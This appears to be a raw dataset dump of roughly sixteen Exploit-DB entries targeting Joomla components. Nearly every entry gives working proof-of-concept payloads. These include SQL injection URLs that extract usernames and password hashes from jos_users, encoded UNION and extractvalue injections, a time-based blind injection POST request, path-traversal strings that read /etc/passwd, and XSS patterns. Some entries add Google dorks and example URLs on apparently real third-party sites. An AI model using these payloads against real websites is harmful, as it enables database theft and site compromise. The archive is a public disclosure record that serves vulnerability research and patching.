deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44129
Description: Joomla! Component Staff Master 1.0 RC 1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component Staff Master <= 1.0 RC 1 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.systemsunited.net/
# Software Link: http://www.systemsunited.net/
# Version: <= 1.0 RC 1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5992
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_staffmaster&view=staff&name=[SQL]
#  
# JTJkJTZhJTY1JTZlJTZlJTc5JTJkJTYyJTY1JTY5JTZjJTMyJTI3JTIwJTIwJTU1JTRlJTQ5JTRmJTRlJTIwJTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTMxJTJjJTMyJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTM0JTJjJTM1JTJjJTM2JTJjJTM3JTJjJTM4JTJjJTM5JTJjJTMxJTMwJTJjJTMxJTMxJTJjJTMxJTMyJTJjJTMxJTMzJTJjJTMxJTM0JTJjJTMxJTM1JTJjJTMxJTM2JTJjJTMxJTM3JTJjJTMxJTM4JTJjJTMxJTM5JTJjJTMyJTMwJTJkJTJkJTIwJTJk
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_staffmaster&view=staff&name=[SQL]
# 
# JTJkJTZhJTZmJTYxJTZlJTJkJTYyJTZmJTc1JTcyJTZiJTY1JTI3JTIwJTIwJTU1JTRlJTQ5JTRmJTRlJTIwJTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTMxJTJjJTMyJTJjJTMzJTJjJTM0JTJjJTM1JTJjJTM2JTJjJTM3JTJjJTM4JTJjJTM5JTJjJTMxJTMwJTJjJTMxJTMxJTJjJTMxJTMyJTJjJTMxJTMzJTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQ3JTUyJTRmJTU1JTUwJTVmJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTc0JTYxJTYyJTZjJTY1JTVmJTZlJTYxJTZkJTY1JTIwJTUzJTQ1JTUwJTQxJTUyJTQxJTU0JTRmJTUyJTIwJTMwJTc4JTMzJTYzJTM2JTMyJTM3JTMyJTMzJTY1JTI5JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTU0JTQxJTQyJTRjJTQ1JTUzJTIwJTU3JTQ4JTQ1JTUyJTQ1JTIwJTU0JTQxJTQyJTRjJTQ1JTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTNkJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTI5JTJjJTMxJTM1JTJjJTMxJTM2JTJjJTMxJTM3JTJjJTMxJTM4JTJkJTJkJTIwJTJk
# 
# # # #
Exploit-DB #14395
Description: Joomla! Component StaticXT - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-17
Author: Palyo34 & KroNicKq

Exploit:
===================================================
Joomla Component (com_staticxt) SQL Injection Vulnerability
===================================================

Author : Palyo34 & KroNicKq

Homepage : http://www.1923turk.com

===================================================


[+] Vulnerable File :


http://www.site.com/index.php?option=com_staticxt&staticfile=test.php&id=1923[SQL]


[+] ExploiT :

union+select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users

jos_users--


[+] G00gle Dork : :S


[+] Example :

http://www.site.com/index.php?option=com_staticxt&staticfile=test.php&id=-1923+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users


[+] Demo :

http://www.site.com/index.php?option=com_staticxt&staticfile=test1.php&id=-79+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users


===================================================
...:: Onurlu Olmak Bir Ömür Sürer Artistlik Ýse One Minute ::...
===================================================

Greetz : 1923Turk All Users
Exploit-DB #41440
Description: Joomla! Component Store for K2 3.8.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Store for K2 v3.8.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_k2store
# Date: 23.02.2017
# Vendor Homepage: http://jworkplace.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/extension-specific/k2-extensions/store-for-k2/
# Demo: http://k2store.jworkplace.com/
# Version: 3.8.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_k2store&view=checkout&task=getCountry&=[SQL]
# # # # #
Exploit-DB #41494
Description: Joomla! Component StreetGuessr Game 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component StreetGuessr Game v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_streetguess
# Date: 02.03.2017
# Vendor Homepage: https://www.nordmograph.com/
# Software: https://extensions.joomla.org/extensions/extension/sports-a-games/streetguessr-game/
# Demo: https://www.streetguessr.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_streetguess&view=leaderboard&id=[SQL]
# 7'+/*!50000Procedure*/+/*!50000Analyse*/+(/*!50000extractvalue*/(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,/*!50000@@version*/)),0)-- -
# # # # #
Exploit-DB #42423
Description: Joomla! Component StreetGuessr Game 1.1.8 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-03
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component StreetGuessr Game v1.1.8 - SQL Injection
# Dork: N/A
# Date: 03.08.2017
# Vendor : https://www.nordmograph.com/
# Software: https://extensions.joomla.org/extensions/extension/sports-a-games/streetguessr-game/
# Demo: https://www.streetguessr.com/en/component/streetguess/
# Version: 1.1.8
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_streetguess&view=maps&catid=[SQL]
# 0'+/*!11110procedure*/+/*!11110analyse*/+(/*!11110extractvalue*/(0x30,/*!11110concat*/(0x27,/*!11110@@version*/,0x7e,/*!11110database()*/)),0x30)--+-
# Etc..
# # # # #
Exploit-DB #42606
Description: Joomla! Component Survey Force Deluxe 3.2.4 - 'invite' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-03
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Survey Force Deluxe 3.2.4 - SQL Injection
# Dork: N/A
# Date: 03.09.2017
# Vendor Homepage: http://joomplace.com/
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/surveys/survey-force-deluxe/
# Demo: http://demo30.joomplace.com/our-products/survey-force-deluxe
# Version: 3.2.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_surveyforce&task=start_invited&survey=19&invite=[SQL]
#
# Etc..
# # # # #
Exploit-DB #12066
Description: Joomla! Component SVMap 1.1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-05
Author: Vrs-hCk

Exploit:
 ================================================================================================

 Title    : Joomla Component com_svmap v1.1.1 LFI Vulnerability
 Vendor   : http://www.la-souris-verte.com
 
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_svmap&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n
Exploit-DB #45473
Description: Joomla! Component Swap Factory 2.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Swap Factory 2.2.1 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/swap-factory/
# Version: 2.2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17384
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?task=showSearchResults&Itemid=115&option=com_swapfactory&filter_order_Dir=[SQL]&filter_order=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# # # #
Exploit-DB #12182
Description: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
==================================================================================================================


  [o] Joomla Component Sweetykeeper Local File Inclusion Vulnerability
 
       Software : com_sweetykeeper version 1.5.x
       Vendor   : http://www.joomlacorner.com/
       Download : http://joomlacode.org/gf/project/thai/frs/?action=FrsReleaseView&release_id=9191
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_sweetykeeper&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #12473
Description: Joomla! Component Table JX - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-01
Author: Valentin

Exploit:
# Exploit Title: Joomla Component Table JX XSS Vulnerabilities
# Date: 01.05.2010
# Author: Valentin
# Category: webapps/0day
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component Table JX XSS Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Table JX
Vendor = Tools JX
Vendor Website = http://www.toolsjx.com
Affected Version(s) = all

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = XSS
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=[XSS]
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=[XSS]

In case you wonder: Yes, those are exactely the same URIs like in the other Joomla
component "Card View JX". Both of them seem to be named "com_grid" and use exactely
the same architecture, parameters etc. Therefore both of them are vulnerable to
the same XSS attacks.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 01.05.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #41379
Description: Joomla! Component Team Display 1.2.1 - 'filter_category' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-17
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Team Display v1.2.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_teamdisplay
# Date: 17.02.2017
# Vendor Homepage: http://addonstreet.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/thematic-directory/team-display/
# Demo: http://addonstreet.com/demo/teamdisplay/
# Version: 1.2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_teamdisplay&view=members&filter_category=[SQL]
# # # # #
Exploit-DB #14598
Description: Joomla! Component Teams - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-08-10
Author: Salvatore Fresta

Exploit:
Teams 1_1028_100809_1711 Joomla Component Multiple Blind SQL Injection Vulnerabilities

 Name              Teams
 Vendor            http://www.joomlamo.com
 Versions Affected 1_1028_100809_1711

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Teams is a base application for entering leagues, teams,
players, uniforms, and games.  


II. DESCRIPTION
_______________

Some parameters are not properly  sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 

A) Multiple Blind SQL Injection
_______________________________

Many parameters  are not properly sanitised before being
used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

POST /index.php HTTP/1.1
Host: targethost
Content-Type: application/x-www-form-urlencoded
Content-Length: 205

FirstName=mario&LastName=rossi&Notes=sds&TeamNames[1]=on&UniformNumber[1]=1&Active=Y&cid[]=&PlayerID=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(99999999,NULL),NULL)))&option=com_teams&task=save&controller=player


V. FIX
______

No fix.
Exploit-DB #7504
Description: Joomla! Component Tech Article 1.x - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-17
Author: InjEctOr5

Exploit:
 
                          ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Cyb3r-1sT
 
<<!>> C0ntact : cyb3r-1st [at] hotmail.com  
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>                
                                    
                     :>>>  http://www.site.me/index.php?option=com_tech_article&Itemid=17&item=-1+union+select+0,concat(username,0x3a,password),0,0,0,0,0,0,0+from+jos_users--&task=item
 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , str0ke 

side note:
<name>tech_article</name>
<creationDate>3-23-2006</creationDate>
<author>Anthony Ferrara</author>
<copyright>GPL</copyright>
<authorEmail>ircmaxell@yahoo.com</authorEmail>
<authorUrl>www.ircmaxell.com</authorUrl>
<version>1.0.1</version>
<description>Tech Article Component For Joomla</description>

# milw0rm.com [2008-12-17]
Exploit-DB #18042
Description: Joomla! Component Techfolio 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-28
Author: Chris Russell

Exploit:
###################################################################
Techfolio 1.0 Component Joomla SQL Injection
###################################################################

Release Date Bug.          27-Oct-2011
Date Added.                30-Sep-2011
Vendor Notification Date.  Never
Product.                   Techfolio
Platform.                  Joomla
Affected versions.         1.0
Type.                      Non-Commercial
Attack Vector.             Sql Injection
Solution Status.           unpublished
CVE reference.             Not yet assigned
Download.                  techdeluge.com/joomla-component/com_techfolio.zip


I. BACKGROUND

This component is made for portfolio purpose.
Its easy to integrate and easy to made custom design.
category based structure.
this is base component we are in process with upgrade version also.
with new feature and new functionality which is easy to integrate.
we will launch it within 10 days.

II. DESCRIPTION

discovered a vulnerability in Techfolio, joomla component,
vulnerability is SQL injection

The parameters affected are:
catid


III. ANALYSIS


file:
/com_techfolio/frontend/models/techfoliodetail.php

[29] $catid = $_GET['catid'];
[30]		if($catid!=''){
[31]			$data = "SELECT * FROM #__techfolio WHERE catid = ".$catid;
[32]		}else{
[33]			$data = "SELECT * FROM #__techfolio";
[34]		}
[35]		$db->setQuery( $data );
[36]		$data = $db->loadObjectList();
[37]
[38]		return $data;

query to the variable $catid is not filtered


IV.  EXPLOITATION


parameter [catid]:

//index.php?option=com_techfolio&view=techfoliodetail&catid=1[SQL]

[SQL]=injection sql



Discovered by.
Chris Russell
Exploit-DB #14196
Description: Joomla! Component Techjoomla SocialAds - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-03
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :    Joomla com_socialads Persistent Xss Vulnerability
Date : july 3,2010
Critical Level 	: HIGH
vendor URL :http://techjoomla.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
With SocialAds for JomSocial, you can create Facebook like demographically targeted ads to show on Your JomSocial Site. This extension allows advertisers to create their advertisement , Target the users they want to show the advertisement to, Decide if they want to pay by impressions or per click, Pay online & get the advertisement started up right away !

#######################################################################################################
Xploit : Persistent Xss Vulnerability

Step 1: Register :D

Step 2: Goto to the option called "MANAGE YOUR ADS"

Step 3: In the ads description the attacker can post xss scripts 

DEMO URL :http://server/js/index.php?option=com_socialads&view=showad&Itemid=94

Attack Pattern :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>

Steap 4: Now  check your ads :P

DEMO URL :http://server/js/index.php?option=com_socialads&view=adsummary&Itemid=94&adid=23
###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #7182
Description: Joomla! Component Thyme 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-21
Author: Ded MustD!e

Exploit:
###################################################################################################################
#Author: Ded MustD!e
###################################################################################################################
#Google Dork: com_thyme
###################################################################################################################
#Exploit: http://www.site.com/index.php?option=com_thyme&calendar=1&category=1&d=1&m=1&y=2008&Itemid=1&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/*
###################################################################################################################
#Example: http://www.orlandoprofessionals.org/index.php?option=com_thyme&calendar=1&category=0&d=25&m=10&y=2008&Itemid=67&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/*
###################################################################################################################

<creationDate>10/10/2005</creationDate>
<author>eXtrovert software</author>
<copyright>eXtrovert software</copyright>
<authorEmail>thyme@extrosoft.com</authorEmail>
<authorUrl>www.extrosoft.com</authorUrl>
<version>1.0</version>

# milw0rm.com [2008-11-21]